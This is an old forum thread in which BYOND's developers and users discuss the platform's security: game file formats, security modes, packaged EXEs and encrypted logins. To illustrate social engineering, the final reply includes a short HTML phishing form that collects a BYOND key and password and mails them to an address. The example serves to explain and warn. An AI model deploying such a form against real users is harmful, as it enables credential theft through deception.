ID:137982
 
I'm seeing a lot of panic regarding BYOND security, so I'll just provide some details and you can make your own judgments.

As Spuzzum noted, BYOND games are really .dmb files that are read by the server (DreamDaemon) or the client/server (DreamSeeker). A "hacker" could not embed a virus in a .dmb file and expect it to work when run on the server. That file would not be readable by either DS or DD.

Someone could attempt to write a game in BYOND (a valid .dmb file) intended to damage a user's machine, but we have taken a number of precautions to make this difficult. Games run in DS have their security mode set to either "safe" or "ultrasafe", meaning that they will prompt the user when any suspicious operations (like modifying outside files) are detected. You can select the security setting yourself if you run the server in DD. Only the "trusted" setting will allow access to shell() and full file i/o, so you can use it when you know the game is safe.

The EXE files created from the "package files" dialog are just renamed versions of the "DreamDeploy" program located in your byond/bin dir. This program simply opens up DS on the first .dmb or .dms file in the current directory, or tells the user if they don't have BYOND installed. The point of this is just to allow you to distribute standalone projects to users who might not have BYOND. Such users will be directed to the BYOND web page so they can get it if they want to play your game.

Again, a malicious user could abuse this by creating their own EXE that hoses your hard drive and distributing that. There is nothing we can do about this because we have no control over arbitrary EXE files. In other words, if someone hands you an EXE and tells you it is a BYOND game, we have no way of proving it since it has nothing to do with us! So only run EXE files from trusted sources-- this is a good rule of thumb, not anything pertinant to BYOND. Once you have BYOND installed, you should never have to use the distrubted EXE files anyway. If you are concerned, just double-click the .dmb file to run the games. When you run a game through the hub that's all that is happening. It is safe.

When you host a game, BYOND must open a port on your machine for the transmission of network data. However, the imporant data (such as your key name and password) is encrypted so "hackers" who listen in on this port won't gain anything useful. Contrast this to the "telnet" application, which just passes data in plain text. IP addresses and ports are also fairly hidden, although they currently still appear for some hosted games. We can do away with that by going through an intermediary too. I don't think this is a major issue.

Hopefully that clears things up a bit.
On 5/22/01 11:12 pm Tom wrote:
I'm seeing a lot of panic regarding BYOND security, so I'll just provide some details and you can make your own judgments.

I'm not particularly worried about BYOND (since I knew it didn't really throw .exes all over the place), but since every person I know who tracks port scans finds that their machine is regularly scanned for weaknesses, and since I did once have a virus delete some stuff from my system (and put up a pornographic picture as my background image) I decided to use this discussion (and Mapster's recommendation) as a prompt to go ahead and protect myself a bit more.

In response to Deadron
On 5/23/01 12:10 am Deadron wrote:
On 5/22/01 11:12 pm Tom wrote:
I'm seeing a lot of panic regarding BYOND security, so I'll just provide some details and you can make your own judgments.

I'm not particularly worried about BYOND (since I knew it didn't really throw .exes all over the place), but since every person I know who tracks port scans finds that their machine is regularly scanned for weaknesses, and since I did once have a virus delete some stuff from my system (and put up a pornographic picture as my background image) I decided to use this discussion (and Mapster's recommendation) as a prompt to go ahead and protect myself a bit more.

hey i suck at codeing but i can snag players name and passwords from BYOND... but thats not too bad of an issue (i wont tell anyone how to do it also..)
In response to jobe
hey i suck at codeing but i can snag players name and passwords from BYOND... but thats not too bad of an issue (i wont tell anyone how to do it also..)

Not without physical access to their machine you can't! A saved password in the registry is a slight security hole, as is a persistent login cookie. But both of these require either physical access to the machine, or a wide open hole in the machine's network security.

Unfortunately, the most robust security system cannot alter people's willingness to do dangerous things like enter their password into other places. For example, I could post a little form and tell people they need to login here to see something really cool, and a certain fraction would actually do it. The form would, of course, just send me the login info...

<form action=mailto:[email protected]>
BYOND Key <input name=key>
Password <input name=password type=password>
<input type=submit value='See Something Cool!'>
</form>

For the security conscious person, however, we have tried and will always keep it a high priority to make BYOND a robust, but fairly hassle free, platform.